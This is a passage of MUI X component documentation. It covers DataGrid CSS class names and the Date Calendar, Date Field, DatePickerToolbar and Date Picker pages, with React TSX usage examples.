| - | collapsibleIcon | Styles applied to the collapsible icon element. |
| - | collapsiblePanel | Styles applied to the collapsible panel element. |
| - | collapsibleTrigger | Styles applied to the collapsible trigger element. |
| - | columnHeader | Styles applied to the column header element. |
| - | columnHeader--alignCenter | Styles applied to the column header if `headerAlign="center"`. |
| - | columnHeader--alignLeft | Styles applied to the column header if `headerAlign="left"`. |
| - | columnHeader--alignRight | Styles applied to the column header if `headerAlign="right"`. |
| - | columnHeader--dragging | Styles applied to the floating column header element when it is dragged. |
| - | columnHeader--emptyGroup | Styles applied to the empty column group header cell. |
| - | columnHeader--filledGroup | Styles applied to the column group header cell if not empty. |
| - | columnHeader--filter | Styles applied to the header filter cell. |
| - | columnHeader--filtered | Styles applied to the column header if the column has a filter applied to it. |
| - | columnHeader--last | Styles applied to the last column header element. |
| - | columnHeader--moving | Styles applied to the column header if it is being dragged. |
| - | columnHeader--numeric | Styles applied to the column header if the type of the column is `number`. |
| - | columnHeader--pinnedLeft |  |
| - | columnHeader--pinnedRight |  |
| - | columnHeader--sortable | Styles applied to the column header if the column is sortable. |
| - | columnHeader--sorted | Styles applied to the column header if the column is sorted. |
| - | columnHeader--withLeftBorder |  |
| - | columnHeader--withRightBorder | Styles applied the column header if `showColumnVerticalBorder={true}`. |
| - | columnHeaderCheckbox | Styles applied to the header checkbox cell element. |
| - | columnHeaderDraggableContainer | Styles applied to the column header's draggable container element. |
| - | columnHeaderFilterInput | Styles applied to the header filter input element. |
| - | columnHeaderFilterOperatorLabel | Styles applied to the header filter operator label element. |
| - | columnHeaderTitle | Styles applied to the column header's title element; |
| - | columnHeaderTitleContainer | Styles applied to the column header's title container element. |
| - | columnHeaderTitleContainerContent | Styles applied to the column header's title excepted buttons. |
| - | columnSeparator | Styles applied to the column header separator element. |
| - | columnSeparator--resizable | Styles applied to the column header separator if the column is resizable. |
| - | columnSeparator--resizing | Styles applied to the column header separator if the column is being resized. |
| - | columnSeparator--sideLeft | Styles applied to the column header separator if the side is "left". |
| - | columnSeparator--sideRight | Styles applied to the column header separator if the side is "right". |
| - | columnsManagementEmptyText | Styles applied to the columns management empty text element. |
| - | columnsManagementFooter | Styles applied to the columns management footer element. |
| - | columnsManagementHeader | Styles applied to the columns management header element. |
| - | columnsManagementRow | Styles applied to the columns management row element. |
| - | columnsManagementScrollArea | Styles applied to the columns management scroll area element. |
| - | columnsManagementSearchInput | Styles applied to the columns management search input element. |
| - | container--bottom | Styles applied to the bottom container. |
| - | container--top | Styles applied to the top container. |
| - | detailPanel | Styles applied to the detail panel element. |
| - | detailPanelToggleCell | Styles applied to the detail panel toggle cell element. |
| - | detailPanelToggleCell--expanded | Styles applied to the detail panel toggle cell element if expanded. |
| - | editBooleanCell | Styles applied to root of the boolean edit component. |
| - | editInputCell | Styles applied to the root of the input component. |
| - | editLongTextCell | Styles applied to the edit long text cell root element. |
| - | editLongTextCellPopperContent | Styles applied to the edit long text cell popper content. |
| - | editLongTextCellPopup | Styles applied to the edit long text cell popup. |
| - | editLongTextCellTextarea | Styles applied to the edit long text cell textarea. |
| - | editLongTextCellValue | Styles applied to the edit long text cell value element. |
| - | filterForm | Styles applied to the root of the filter form component. |
| - | filterFormColumnInput | Styles applied to the column input of the filter form component. |
| - | filterFormDeleteIcon | Styles applied to the delete icon of the filter form component. |
| - | filterFormLogicOperatorInput | Styles applied to the link operator input of the filter form component. |
| - | filterFormOperatorInput | Styles applied to the operator input of the filter form component. |
| - | filterFormValueInput | Styles applied to the value input of the filter form component. |
| - | filterIcon | Styles applied to the filter icon element. |
| - | footerCell | Styles applied to the root element of the cell inside a footer row. |
| - | footerContainer | Styles applied to the footer container element. |
| - | groupingCriteriaCell | Styles applied to the root element of the grouping criteria cell |
| - | groupingCriteriaCellToggle | Styles applied to the toggle of the grouping criteria cell |
| - | headerFilterRow | Styles applied to the column header filter row. |
| - | iconButtonContainer | Styles applied to the column header icon's container. |
| - | iconSeparator | Styles applied to the column header separator icon element. |
| - | longTextCell | Styles applied to the long text cell root element. |
| - | longTextCellCollapseButton | Styles applied to the long text cell collapse button. |
| - | longTextCellContent | Styles applied to the long text cell content element. |
| - | longTextCellExpandButton | Styles applied to the long text cell expand button. |
| - | longTextCellPopperContent | Styles applied to the long text cell popper content. |
| - | longTextCellPopup | Styles applied to the long text cell popup. |
| - | main | Styles applied to the main container element. |
| - | main--hasPinnedRight | Styles applied to the main container element when it has right pinned columns. |
| - | mainContent |  |
| - | menu | Styles applied to the menu element. |
| - | menuIcon | Styles applied to the menu icon element. |
| - | menuIconButton | Styles applied to the menu icon button element. |
| - | menuList | Styles applied to the menu list element. |
| - | menuOpen | Styles applied to the menu icon element if the menu is open. |
| - | overlay | Styles applied to the overlay element. |
| - | overlayWrapper | Styles applied to the overlay wrapper element. |
| - | overlayWrapperInner | Styles applied to the overlay wrapper inner element. |
| - | panelContent | Styles applied to the panel content element. |
| - | panelFooter | Styles applied to the panel footer element. |
| - | panelHeader | Styles applied to the panel header element. |
| - | panelWrapper | Styles applied to the panel wrapper element. |
| - | paper | Styles applied to the paper element. |
| - | pinnedRows | Styles applied to the pinned rows container. |
| - | pinnedRows--bottom | Styles applied to the bottom pinned rows container. |
| - | pinnedRows--top | Styles applied to the top pinned rows container. |
| - | pivotPanelAvailableFields | Styles applied to the pivot panel available fields. |
| - | pivotPanelBody | Styles applied to the pivot panel body. |
| - | pivotPanelField | Styles applied to the pivot panel field. |
| - | pivotPanelField--sorted | Styles applied to the pivot panel field when sorted. |
| - | pivotPanelFieldActionContainer | Styles applied to the pivot panel field action container. |
| - | pivotPanelFieldCheckbox | Styles applied to the pivot panel field checkbox. |
| - | pivotPanelFieldDragIcon | Styles applied to the pivot panel field drag icon. |
| - | pivotPanelFieldList | Styles applied to the pivot panel field list. |
| - | pivotPanelFieldName | Styles applied to the pivot panel field name. |
| - | pivotPanelHeader | Styles applied to the pivot panel header. |
| - | pivotPanelPlaceholder | Styles applied to the pivot panel placeholder. |
| - | pivotPanelScrollArea | Styles applied to the pivot panel scroll area. |
| - | pivotPanelSearchContainer | Styles applied to the pivot panel search container. |
| - | pivotPanelSection | Styles applied to the pivot panel section. |
| - | pivotPanelSections | Styles applied to the pivot panel sections. |
| - | pivotPanelSectionTitle | Styles applied to the pivot panel section title. |
| - | pivotPanelSwitch | Styles applied to the pivot panel switch. |
| - | pivotPanelSwitchLabel | Styles applied to the pivot panel switch label. |
| - | prompt | Styles applied to the prompt root element. |
| - | promptAction | Styles applied to the prompt action element. |
| - | promptChangeList | Styles applied to the prompt change list element. |
| - | promptChangesToggle | Styles applied to the prompt changes toggle element. |
| - | promptChangesToggleIcon | Styles applied to the prompt changes toggle icon element. |
| - | promptContent | Styles applied to the prompt content element. |
| - | promptError | Styles applied to the prompt error element. |
| - | promptFeedback | Styles applied to the prompt feedback element. |
| - | promptIcon | Styles applied to the prompt icon element. |
| - | promptIconContainer | Styles applied to the prompt icon element. |
| - | promptText | Styles applied to the prompt text element. |
| - | resizablePanelHandle | Styles applied to resizable panel handles. |
| - | resizablePanelHandle--horizontal | Styles applied to horizontal resizable panel handles. |
| - | resizablePanelHandle--vertical | Styles applied to vertical resizable panel handles. |
| - | root | Styles applied to the root element. |
| - | root--densityComfortable | Styles applied to the root element if density is "comfortable". |
| - | root--densityCompact | Styles applied to the root element if density is "compact". |
| - | root--densityStandard | Styles applied to the root element if density is "standard" (default). |
| - | root--disableUserSelection | Styles applied to the root element when user selection is disabled. |
| - | row--beingDragged | Styles applied to the row element when it is being dragged (entire row). |
| - | row--detailPanelExpanded | Styles applied to the row if its detail panel is open. |
| - | row--dragging | Styles applied to the floating special row reorder cell element when it is dragged. |
| - | row--dynamicHeight | Styles applied to the row if it has dynamic row height. |
| - | row--editable | Styles applied to the row element if the row is editable. |
| - | row--editing | Styles applied to the row element if the row is in edit mode. |
| - | row--firstVisible | Styles applied to the first visible row element on every page of the grid. |
| - | row--lastVisible | Styles applied to the last visible row element on every page of the grid. |
| - | rowCount | Styles applied to the footer row count element to show the total number of rows.
Only works when pagination is disabled. |
| - | rowReorderCell | Styles applied to the root element of the row reorder cell |
| - | rowReorderCell--draggable | Styles applied to the root element of the row reorder cell when dragging is allowed |
| - | rowReorderCellContainer | Styles applied to the row reorder cell container element. |
| - | rowReorderCellPlaceholder | Styles applied to the row's draggable placeholder element inside the special row reorder cell. |
| - | rowSkeleton | Styles applied to the skeleton row element. |
| - | scrollArea | Styles applied to both scroll area elements. |
| - | scrollArea--down | Styles applied to the bottom scroll area element. |
| - | scrollArea--left | Styles applied to the left scroll area element. |
| - | scrollArea--right | Styles applied to the right scroll area element. |
| - | scrollArea--up | Styles applied to the top scroll area element. |
| - | scrollbar | Styles applied to the scrollbars. |
| - | scrollbar--horizontal | Styles applied to the horizontal scrollbar. |
| - | scrollbar--vertical | Styles applied to the horizontal scrollbar. |
| - | scrollShadow | Styles applied to the scroll shadow element. |
| - | scrollShadow--horizontal | Styles applied to the horizontal scroll shadow element. |
| - | scrollShadow--vertical | Styles applied to the vertical scroll shadow element. |
| - | selectedRowCount | Styles applied to the footer selected row count element. |
| - | sidebar | Styles applied to the sidebar element. |
| - | sidebarHeader | Styles applied to the sidebar header element. |
| - | sortButton | Styles applied to the sort button element. |
| - | sortIcon | Styles applied to the sort button icon element. |
| - | toolbarContainer | Styles applied to the toolbar container element. |
| - | toolbarDivider | Styles applied to the toolbar divider element. |
| - | toolbarFilterList | Styles applied to the toolbar filter list element. |
| - | toolbarLabel | Styles applied to the toolbar label element. |
| - | toolbarQuickFilter | Styles applied to the toolbar quick filter root element. |
| - | toolbarQuickFilterControl | Styles applied to the toolbar quick filter control element. |
| - | toolbarQuickFilterTrigger | Styles applied to the toolbar quick filter trigger element. |
| - | treeDataGroupingCell | Styles applied to the root of the grouping column of the tree data. |
| - | treeDataGroupingCellToggle | Styles applied to the toggle of the grouping cell of the tree data. |
| - | virtualScroller | Styles applied to the virtualization container. |
| - | virtualScrollerContent | Styles applied to the virtualization content. |
| - | virtualScrollerContent--overflowed | Styles applied to the virtualization content when its height is bigger than the virtualization container. |
| - | virtualScrollerRenderZone | Styles applied to the virtualization render zone. |
| - | withBorderColor | Styles applied to cells, column header and other elements that have border.
Sets border color only. |
| - | withSidePanel |  |
| - | withVerticalBorder | Styles applied the grid if `showColumnVerticalBorder={true}`. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/DataGrid/DataGrid.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/DataGrid/DataGrid.tsx)

---

# Source: https://mui.com/x/api/date-pickers/date-calendar.md

# Source: https://mui.com/x/react-date-pickers/date-calendar.md

---
productId: x-date-pickers
title: React Date Calendar component
components: DateCalendar, MonthCalendar, YearCalendar, PickersDay, DayCalendarSkeleton
githubLabel: 'component: DatePicker'
packageName: '@mui/x-date-pickers'
---

# Date Calendar

The Date Calendar component lets users select a date without any input or popper / modal.

## Basic usage

```tsx
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function BasicDateCalendar() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DateCalendar />
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function DateCalendarValue() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar', 'DateCalendar']}>
        <DemoItem label="Uncontrolled calendar">
          <DateCalendar defaultValue={dayjs('2022-04-17')} />
        </DemoItem>
        <DemoItem label="Controlled calendar">
          <DateCalendar value={value} onChange={(newValue) => setValue(newValue)} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Form props

The component can be disabled or read-only.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function DateCalendarFormProps() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar', 'DateCalendar']}>
        <DemoItem label="disabled">
          <DateCalendar defaultValue={dayjs('2022-04-17')} disabled />
        </DemoItem>
        <DemoItem label="readOnly">
          <DateCalendar defaultValue={dayjs('2022-04-17')} readOnly />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Views

The component can contain three views: `day`, `month`, and `year`.
By default, only the `day` and `year` views are enabled.

You can customize the enabled views using the `views` prop.
Views will appear in the order they're included in the `views` array.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function DateCalendarViews() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar', 'DateCalendar', 'DateCalendar']}>
        <DemoItem label={'"year", "month" and "day"'}>
          <DateCalendar
            defaultValue={dayjs('2022-04-17')}
            views={['year', 'month', 'day']}
          />
        </DemoItem>
        <DemoItem label={'"day"'}>
          <DateCalendar views={['day']} />
        </DemoItem>
        <DemoItem label={'"month" and "year"'}>
          <DateCalendar
            defaultValue={dayjs('2022-04-17')}
            views={['month', 'year']}
            openTo="month"
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Choose the initial year / month

If `value` or `defaultValue` contains a valid date, this date will be used to choose which month to render in the `day` view and which year to render in the `month` view.
If both `value` and `defaultValue` contain no valid date, the component will try to find a month and year that satisfies the validation rules.

You can override this date using the `referenceDate`, in the example below the calendar renders April 2022 even though no date is visually selected:

```tsx
import dayjs from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function DateCalendarReferenceDate() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateCalendar']}>
        <DateCalendar
          referenceDate={dayjs('2022-04-17')}
          views={['year', 'month', 'day']}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::success
Learn more about the `referenceDate` in the [dedicated doc section](/x/react-date-pickers/base-concepts/#reference-date-when-no-value-is-defined).
:::

## Month and Year Calendar

If you only need the `year` view or the `month` view, you can use the `YearCalendar` / `MonthCalendar` components:

```tsx
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { YearCalendar } from '@mui/x-date-pickers/YearCalendar';
import { MonthCalendar } from '@mui/x-date-pickers/MonthCalendar';

export default function YearMonthCalendar() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['YearCalendar', 'MonthCalendar']}>
        <DemoItem label="YearCalendar">
          <YearCalendar />
        </DemoItem>
        <DemoItem label="MonthCalendar">
          <MonthCalendar />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

### Order of years

By default, years are displayed in ascending order, chronologically from the minimum year to the maximum.
Set the `yearsOrder` prop to `desc` to show the years in descending order.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { YearCalendar } from '@mui/x-date-pickers/YearCalendar';

const currentYear = dayjs();

export default function YearsOrderDescendingCalendar() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['YearCalendar']}>
        <DemoItem label="Years in descending order">
          <YearCalendar maxDate={currentYear} yearsOrder="desc" />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Day view customization

### Show additional days

To show all days of displayed weeks, including those outside of the current month, use `showDaysOutsideCurrentMonth`.

By default, only weeks of the current month are displayed, but you can provide a total number of weeks to display with `fixedWeekNumber` prop.
This value is usually set to `6` for Gregorian calendars, because month display can vary between 4 and 6 weeks.

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function CustomMonthLayout() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DateCalendar showDaysOutsideCurrentMonth fixedWeekNumber={6} />
    </LocalizationProvider>
  );
}

```

### Display week number

To display week numbers, use the `displayWeekNumber` prop.
You can customize the calendar week header by using the localization key `localeText.calendarWeekNumberHeaderText`.
You can also customize what's rendered as a calendar week number, using a callback for the localization key `localeText.calendarWeekNumberText`.

```tsx
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';

export default function AddWeekNumber() {
  return (
    <LocalizationProvider
      dateAdapter={AdapterDayjs}
      localeText={{
        calendarWeekNumberHeaderText: '#',
        calendarWeekNumberText: (weekNumber) => `${weekNumber}.`,
      }}
    >
      <DateCalendar displayWeekNumber />
    </LocalizationProvider>
  );
}

```

### Week picker

You can select the whole week using the `day` component slot:

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import isBetweenPlugin from 'dayjs/plugin/isBetween';
import { styled } from '@mui/material/styles';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';
import { PickersDay, PickersDayProps } from '@mui/x-date-pickers/PickersDay';

dayjs.extend(isBetweenPlugin);

interface CustomPickerDayProps extends PickersDayProps {
  isSelected: boolean;
  isHovered: boolean;
}

const CustomPickersDay = styled(PickersDay, {
  shouldForwardProp: (prop) => prop !== 'isSelected' && prop !== 'isHovered',
})<CustomPickerDayProps>(({ theme, isSelected, isHovered, day }) => ({
  borderRadius: 0,
  ...(isSelected && {
    backgroundColor: theme.palette.primary.main,
    color: theme.palette.primary.contrastText,
    '&:hover, &:focus': {
      backgroundColor: theme.palette.primary.main,
    },
  }),
  ...(isHovered && {
    backgroundColor: theme.palette.primary.light,
    '&:hover, &:focus': {
      backgroundColor: theme.palette.primary.light,
    },
    ...theme.applyStyles('dark', {
      backgroundColor: theme.palette.primary.dark,
      '&:hover, &:focus': {
        backgroundColor: theme.palette.primary.dark,
      },
    }),
  }),
  ...(day.day() === 0 && {
    borderTopLeftRadius: '50%',
    borderBottomLeftRadius: '50%',
  }),
  ...(day.day() === 6 && {
    borderTopRightRadius: '50%',
    borderBottomRightRadius: '50%',
  }),
})) as React.ComponentType<CustomPickerDayProps>;

const isInSameWeek = (dayA: Dayjs, dayB: Dayjs | null | undefined) => {
  if (dayB == null) {
    return false;
  }

  return dayA.isSame(dayB, 'week');
};

function Day(
  props: PickersDayProps & {
    selectedDay?: Dayjs | null;
    hoveredDay?: Dayjs | null;
  },
) {
  const { day, selectedDay, hoveredDay, ...other } = props;

  return (
    <CustomPickersDay
      {...other}
      day={day}
      sx={{ px: 2.5 }}
      disableMargin
      selected={false}
      isSelected={isInSameWeek(day, selectedDay)}
      isHovered={isInSameWeek(day, hoveredDay)}
    />
  );
}

export default function WeekPicker() {
  const [hoveredDay, setHoveredDay] = React.useState<Dayjs | null>(null);
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DateCalendar
        value={value}
        onChange={(newValue) => setValue(newValue)}
        showDaysOutsideCurrentMonth
        displayWeekNumber
        slots={{ day: Day }}
        slotProps={{
          day: (ownerState) =>
            ({
              selectedDay: value,
              hoveredDay,
              onPointerEnter: () => setHoveredDay(ownerState.day),
              onPointerLeave: () => setHoveredDay(null),
            }) as any,
        }}
      />
    </LocalizationProvider>
  );
}

```

## Dynamic data

Sometimes it may be necessary to display additional info right in the calendar.
The following demo shows how to add a badge on some day based on server-side data:

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import Badge from '@mui/material/Badge';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { PickersDay, PickersDayProps } from '@mui/x-date-pickers/PickersDay';
import { DateCalendar } from '@mui/x-date-pickers/DateCalendar';
import { DayCalendarSkeleton } from '@mui/x-date-pickers/DayCalendarSkeleton';

function getRandomNumber(min: number, max: number) {
  return Math.round(Math.random() * (max - min) + min);
}

/**
 * Mimic fetch with abort controller https://developer.mozilla.org/en-US/docs/Web/API/AbortController/abort
 * ⚠️ No IE11 support
 */
function fakeFetch(date: Dayjs, { signal }: { signal: AbortSignal }) {
  return new Promise<{ daysToHighlight: number[] }>((resolve, reject) => {
    const timeout = setTimeout(() => {
      const daysInMonth = date.daysInMonth();
      const daysToHighlight = [1, 2, 3].map(() => getRandomNumber(1, daysInMonth));

      resolve({ daysToHighlight });
    }, 500);

    signal.onabort = () => {
      clearTimeout(timeout);
      reject(new DOMException('aborted', 'AbortError'));
    };
  });
}

const initialValue = dayjs('2022-04-17');

function ServerDay(props: PickersDayProps & { highlightedDays?: number[] }) {
  const { highlightedDays = [], day, outsideCurrentMonth, ...other } = props;

  const isSelected =
    !props.outsideCurrentMonth && highlightedDays.indexOf(props.day.date()) >= 0;

  return (
    <Badge
      key={props.day.toString()}
      overlap="circular"
      badgeContent={isSelected ? '🌚' : undefined}
    >
      <PickersDay {...other} outsideCurrentMonth={outsideCurrentMonth} day={day} />
    </Badge>
  );
}

export default function DateCalendarServerRequest() {
  const requestAbortController = React.useRef<AbortController | null>(null);
  const [isLoading, setIsLoading] = React.useState(false);
  const [highlightedDays, setHighlightedDays] = React.useState([1, 2, 15]);

  const fetchHighlightedDays = (date: Dayjs) => {
    const controller = new AbortController();
    fakeFetch(date, {
      signal: controller.signal,
    })
      .then(({ daysToHighlight }) => {
        setHighlightedDays(daysToHighlight);
        setIsLoading(false);
      })
      .catch((error) => {
        // ignore the error if it's caused by `controller.abort`
        if (error.name !== 'AbortError') {
          throw error;
        }
      });

    requestAbortController.current = controller;
  };

  React.useEffect(() => {
    fetchHighlightedDays(initialValue);
    // abort request on unmount
    return () => requestAbortController.current?.abort();
  }, []);

  const handleMonthChange = (date: Dayjs) => {
    if (requestAbortController.current) {
      // make sure that you are aborting useless requests
      // because it is possible to switch between months pretty quickly
      requestAbortController.current.abort();
    }

    setIsLoading(true);
    setHighlightedDays([]);
    fetchHighlightedDays(date);
  };

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DateCalendar
        defaultValue={initialValue}
        loading={isLoading}
        onMonthChange={handleMonthChange}
        renderLoading={() => <DayCalendarSkeleton />}
        slots={{
          day: ServerDay,
        }}
        slotProps={{
          day: {
            highlightedDays,
          } as any,
        }}
      />
    </LocalizationProvider>
  );
}

```

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/api/date-pickers/date-field.md

# Source: https://mui.com/x/react-date-pickers/date-field.md

---
productId: x-date-pickers
title: React Date Field component
components: DateField
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Date Field

The Date Field component lets users select a date with the keyboard.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateField } from '@mui/x-date-pickers/DateField';

export default function BasicDateField() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField']}>
        <DateField label="Basic date field" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Uncontrolled vs. controlled value

The value of the component can be uncontrolled or controlled.

```tsx
import * as React from 'react';
import dayjs, { Dayjs } from 'dayjs';
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateField } from '@mui/x-date-pickers/DateField';

export default function DateFieldValue() {
  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2022-04-17'));

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField', 'DateField']}>
        <DateField label="Uncontrolled field" defaultValue={dayjs('2022-04-17')} />
        <DateField
          label="Controlled field"
          value={value}
          onChange={(newValue) => setValue(newValue)}
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info

- The value is **controlled** when its parent manages it by providing a `value` prop.
- The value is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultValue` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Localization

See the [Date format and localization](/x/react-date-pickers/adapters-locale/) and [Translated components](/x/react-date-pickers/localization/) documentation pages for more details.

### Customize the date format

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import dayjs from 'dayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateField } from '@mui/x-date-pickers/DateField';

export default function CustomDateFormat() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateField', 'DateField']}>
        <DateField
          label="Dash separator"
          defaultValue={dayjs('2022-04-17')}
          format="MM-DD-YYYY"
        />
        <DateField
          label="Full letter month"
          defaultValue={dayjs('2022-04-17')}
          format="LL"
        />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
See [Date format and localization—Custom formats](/x/react-date-pickers/adapters-locale/#custom-formats) for more details.
:::

## Validation

See the [Validation](/x/react-date-pickers/validation/) documentation page for more details.

---

# Source: https://mui.com/x/api/date-pickers/date-picker-toolbar.md

# DatePickerToolbar API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)

## Import

```jsx
import { DatePickerToolbar } from '@mui/x-date-pickers/DatePicker';
// or
import { DatePickerToolbar } from '@mui/x-date-pickers';
// or
import { DatePickerToolbar } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| hidden | `bool` | ``true` for Desktop, `false` for Mobile.` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| toolbarFormat | `string` | - | No |  |
| toolbarPlaceholder | `node` | `"––"` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |
| - | title | Styles applied to the title element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/DatePicker/DatePickerToolbar.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/DatePicker/DatePickerToolbar.tsx)

---

# Source: https://mui.com/x/api/date-pickers/date-picker.md

# Source: https://mui.com/x/react-date-pickers/date-picker.md

---
productId: x-date-pickers
title: React Date Picker component
components: DatePicker, DesktopDatePicker, MobileDatePicker, StaticDatePicker, DateCalendar
githubLabel: 'component: DatePicker'
packageName: '@mui/x-date-pickers'
materialDesign: https://m2.material.io/components/date-pickers
---

# Date Picker

The Date Picker component lets users select a date.

## Basic usage

```tsx
import { DemoContainer } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';

export default function BasicDatePicker() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker']}>
        <DatePicker label="Basic date picker" />
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Component composition

The component is built using the `DateField` for the keyboard editing and the `DateCalendar` for the view editing.

Check out their documentation page for more information:

- [Date Field](/x/react-date-pickers/date-field/)
- [Date Calendar](/x/react-date-pickers/date-calendar/)

